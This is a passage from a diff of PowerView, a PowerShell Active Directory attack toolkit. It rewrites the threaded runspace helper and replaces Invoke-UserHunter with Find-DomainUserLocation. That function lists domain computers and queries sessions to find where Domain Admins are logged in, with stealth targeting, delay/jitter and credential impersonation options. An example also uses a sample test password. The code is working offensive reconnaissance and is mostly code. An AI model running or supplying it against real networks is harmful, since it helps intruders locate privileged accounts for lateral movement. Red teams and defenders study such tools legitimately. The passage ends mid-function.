# Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + # force a single-threaded apartment state (for token-impersonation stuffz) + $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks - if(!$NoImports) { - + if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - if($VorbiddenVars -NotContains $Var.Name) { + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } @@ -9313,2300 +14387,2296 @@ function Invoke-ThreadedFunction { # Thanks Carlos! # create a pool of maxThread runspaces - $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() - $method = $null - ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) { - $methodParameters = $m.GetParameters() - if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") { - $method = $m.MakeGenericMethod([Object], [Object]) + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() - } - - process { + $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" - ForEach ($Computer in $ComputerName) { - - # make sure we get a server name - if ($Computer -ne '') { - # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize - While ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - } + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } - # create a "powershell pipeline runner" - $p = [powershell]::create() + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" - $p.runspacepool = $Pool + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool - # add the script block + arguments - $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) - if($ScriptParameters) { - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $p.AddParameter($Param.Name, $Param.Value) - } + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } + } - $o = New-Object Management.Automation.PSDataCollection[Object] + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] - $Jobs += @{ - PS = $p - Output = $o - Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o)) - } + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } - end { - Write-Verbose "Waiting for threads to finish..." + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() } - } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0) + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) - ForEach ($Job in $Jobs) { - $Job.PS.Dispose() + $SleepSeconds = 100 + Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." + + # cleanup- make sure we didn't miss anything + for ($i=0; $i -lt $SleepSeconds; $i++) { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + Start-Sleep -S 1 } $Pool.Dispose() - Write-Verbose "All threads completed!" + Write-Verbose "[New-ThreadedFunction] all threads completed" } } -function Invoke-UserHunter { +function Find-DomainUserLocation { <# - .SYNOPSIS - - Finds which machines users of a specified group are logged into. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroupMember or reads in a target user list, queries the domain for all - active machines with Get-NetComputer or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSession/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile +.SYNOPSIS - File of hostnames/IPs to search. +Finds domain machines where specific users are logged into. - .PARAMETER ComputerFilter +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction - Host filter name to query AD for, wildcards accepted. +.DESCRIPTION - .PARAMETER ComputerADSpath +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. If -ShowAll is specified, all results are displayed instead of +the filtered set. If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER ComputerName - .PARAMETER Unconstrained +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - Switch. Only enumerate computers that have unconstrained delegation. +.PARAMETER Domain - .PARAMETER GroupName +Specifies the domain to query for computers AND users, defaults to the current domain. - Group name to query for target users. +.PARAMETER ComputerDomain - .PARAMETER TargetServer +Specifies the domain to query for computers, defaults to the current domain. - Hunt for users who are effective local admins on a target server. +.PARAMETER ComputerLDAPFilter - .PARAMETER UserName +Specifies an LDAP query string that is used to search for computer objects. - Specific username to search for. +.PARAMETER ComputerSearchBase - .PARAMETER UserFilter +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" +.PARAMETER ComputerUnconstrained - .PARAMETER UserADSpath +Switch. Search computer objects that have unconstrained delegation. - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER ComputerOperatingSystem - .PARAMETER UserFile +Search computers with a specific operating system, wildcards accepted. - File of usernames to search for. +.PARAMETER ComputerServicePack - .PARAMETER AdminCount +Search computers with a specific service pack, wildcards accepted. - Switch. Hunt for users with adminCount=1. +.PARAMETER ComputerSiteName - .PARAMETER AllowDelegation +Search computers in the specific AD Site name, wildcards accepted. - Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' +.PARAMETER UserIdentity - .PARAMETER StopOnSuccess +Specifies one or more user identities to search for. - Switch. Stop hunting after finding after finding a target user. +.PARAMETER UserDomain - .PARAMETER NoPing +Specifies the domain to query for users to search for, defaults to the current domain. - Don't ping each host to ensure it's up before enumerating. +.PARAMETER UserLDAPFilter - .PARAMETER CheckAccess +Specifies an LDAP query string that is used to search for target users. - Switch. Check if the current user has local admin access to found machines. +.PARAMETER UserSearchBase - .PARAMETER Delay +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Delay between enumerating hosts, defaults to 0 +.PARAMETER UserGroupIdentity - .PARAMETER Jitter +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER UserAdminCount - .PARAMETER Domain +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). - Domain for query for machines, defaults to the current domain. +.PARAMETER UserAllowDelegation - .PARAMETER DomainController +Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. - Domain controller to reflect LDAP queries through. +.PARAMETER CheckAccess - .PARAMETER ShowAll +Switch. Check if the current user has local admin access to computers where target users are found. - Switch. Return all user location results, i.e. Invoke-UserView functionality. +.PARAMETER Server - .PARAMETER SearchForest +Specifies an Active Directory server (domain controller) to bind to. - Switch. Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER SearchScope - .PARAMETER Stealth +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Switch. Only enumerate sessions from connonly used target servers. +.PARAMETER ResultPageSize - .PARAMETER StealthSource +Specifies the PageSize to set for the LDAP searcher object. - The source of target servers to use, 'DFS' (distributed file servers), - 'DC' (domain controllers), 'File' (file servers), or 'All' +.PARAMETER ServerTimeLimit - .PARAMETER ForeignUsers +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Switch. Only return results that are not part of searched domain. +.PARAMETER Tombstone - .PARAMETER Threads +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The maximum concurrent threads to execute. +.PARAMETER Credential - .PARAMETER Poll +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - Continuously poll for sessions for the given duration. Automatically - sets Threads to the number of computers being polled. +.PARAMETER StopOnSuccess - .EXAMPLE +Switch. Stop hunting after finding after finding a target user. - PS C:\> Invoke-UserHunter -CheckAccess +.PARAMETER Delay - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - .EXAMPLE +.PARAMETER Jitter - PS C:\> Invoke-UserHunter -Domain 'testing' +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - Finds machines on the 'testing' domain where domain admins are logged into. +.PARAMETER ShowAll - .EXAMPLE +Switch. Return all user location results instead of filtering based on target +specifications. - PS C:\> Invoke-UserHunter -Threads 20 +.PARAMETER Stealth - Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. +Switch. Only enumerate sessions from connonly used target servers. - .EXAMPLE +.PARAMETER StealthSource - PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. +.PARAMETER Threads - .EXAMPLE +The number of threads to use for user searching, defaults to 20. - PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 +.EXAMPLE - Find machines on the domain where members of the "Power Users" groups are - logged into with a 60 second (+/- *.3) randomized delay between - touching each host. +Find-DomainUserLocation - .EXAMPLE +Searches for 'Domain Admins' by enumerating every computer in the domain. - PS C:\> Invoke-UserHunter -TargetServer FILESERVER +.EXAMPLE - Query FILESERVER for useres who are effective local administrators using - Get-NetLocalGroup -Recurse, and hunt for that user set on the network. +Find-DomainUserLocation -Stealth -ShowAll - .EXAMPLE +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. - PS C:\> Invoke-UserHunter -SearchForest +.EXAMPLE - Find all machines in the current forest where domain admins are logged in. +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local - .EXAMPLE +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. - PS C:\> Invoke-UserHunter -Stealth +.EXAMPLE - Executes old Invoke-StealthUserHunter functionality, enumerating commonly - used servers and checking just sessions for each. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred - .EXAMPLE +Searches for domain admin locations in the testlab.local using the specified alternate credentials. - PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') } +.OUTPUTS - Poll Domain Controllers in parallel for sessions for an hour, waiting five - seconds before querying each DC again and filtering out computer accounts. - - .LINK - http://blog.harmj0y.net +PowerView.UserLocation #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserLocation')] + [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerSearchBase, + [Alias('Unconstrained')] [Switch] - $Unconstrained, + $ComputerUnconstrained, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $GroupName = 'Domain Admins', + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $TargetServer, + $ComputerServicePack, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] [String] - $UserName, + $ComputerSiteName, + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] [String] - $UserFilter, + $UserDomain, + [ValidateNotNullOrEmpty()] [String] - $UserADSpath, + $UserLDAPFilter, - [ValidateScript({Test-Path -Path $_ })] + [ValidateNotNullOrEmpty()] [String] - $UserFile, + $UserSearchBase, + [Parameter(ParameterSetName = 'UserGroupIdentity')] + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] [Switch] - $AdminCount, + $UserAdminCount, + [Alias('AllowDelegation')] [Switch] - $AllowDelegation, + $UserAllowDelegation, [Switch] $CheckAccess, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + [Switch] - $StopOnSuccess, + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $NoPing, + $StopOnSuccess, - [UInt32] + [ValidateRange(1, 10000)] + [Int] $Delay = 0, + [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, - [String] - $Domain, - - [String] - $DomainController, - + [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, [Switch] - $SearchForest, - - [Switch] $Stealth, [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All", - - [Switch] - $ForeignUsers, + [ValidateSet('DFS', 'DC', 'File', 'All')] + $StealthSource = 'All', [Int] - [ValidateRange(1,100)] - $Threads, - - [UInt32] - $Poll = 0 + [ValidateRange(1, 100)] + $Threads = 20 ) - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - - ##################################################### - # - # First we build the host target set - # - ##################################################### - - if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list - $ComputerName = Get-Content -Path $ComputerFile + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + $TargetComputers = @() + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = @($ComputerName) } - - if(!$ComputerName) { - [Array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - if($Stealth) { - Write-Verbose "Stealth mode! Enumerating commonly used servers" - Write-Verbose "Stealth source: $StealthSource" - - ForEach ($Domain in $TargetDomains) { - if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for File Servers..." - $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController - } - if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for DFS Servers..." - $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} - } - if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} - } + else { + if ($PSBoundParameters['Stealth']) { + Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" + $TargetComputerArrayList = New-Object System.Collections.ArrayList + + if ($StealthSource -match 'File|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for file servers' + $FileServerSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } + $FileServers = Get-DomainFileServer @FileServerSearcherArguments + if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } + $TargetComputerArrayList.AddRange( $FileServers ) } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $ADSpath - 'Filter' = $ComputerFilter - 'Unconstrained' = $Unconstrained + if ($StealthSource -match 'DFS|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' + # # TODO: fix the passed parameters to Get-DomainDFSShare + # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} + } + if ($StealthSource -match 'DC|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' + $DCSearcherArguments = @{ + 'LDAP' = $True } - - $ComputerName += Get-NetComputer @Arguments + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } + $TargetComputerArrayList.AddRange( $DomainControllers ) } + $TargetComputers = $TargetComputerArrayList.ToArray() } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + else { + Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } } - - if ($Poll -gt 0) { - Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode." - if ($ComputerName.Count -gt 100) { - throw "Too many hosts to poll! Try fewer than 100." - } - $Threads = $ComputerName.Count + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserLocation] No hosts found to enumerate' } - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - # users we're going to be searching for - $TargetUsers = @() - # get the current user so we can ignore it in the results - $CurrentUser = ([Environment]::UserName).toLower() - - # if we're showing all results, skip username enumeration - if($ShowAll -or $ForeignUsers) { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Null - $User | Add-Member Noteproperty 'MemberName' '*' - $TargetUsers = @($User) - - if($ForeignUsers) { - # if we're searching for user results not in the primary domain - $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 - $DomainShortName = $krbtgtName.split("\")[0] - } - } - # if we want to hunt for the effective domain users who can access a target server - elseif($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() - $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() - $User - } | Where-Object {$_} + if ($PSBoundParameters['Credential']) { + $CurrentUser = $Credential.GetNetworkCredential().UserName } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() - $TargetUsers = @($User) - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $_ - $User - } | Where-Object {$_} + else { + $CurrentUser = ([Environment]::UserName).ToLower() } - elseif($UserADSpath -or $UserFilter -or $AdminCount) { - ForEach ($Domain in $TargetDomains) { - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $UserADSpath - 'Filter' = $UserFilter - 'AdminCount' = $AdminCount - 'AllowDelegation' = $AllowDelegation - } - - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser @Arguments | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Domain - $User | Add-Member Noteproperty 'MemberName' $_.samaccountname - $User - } | Where-Object {$_} - } + # now build the user target set + if ($PSBoundParameters['ShowAll']) { + $TargetUsers = @() + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { 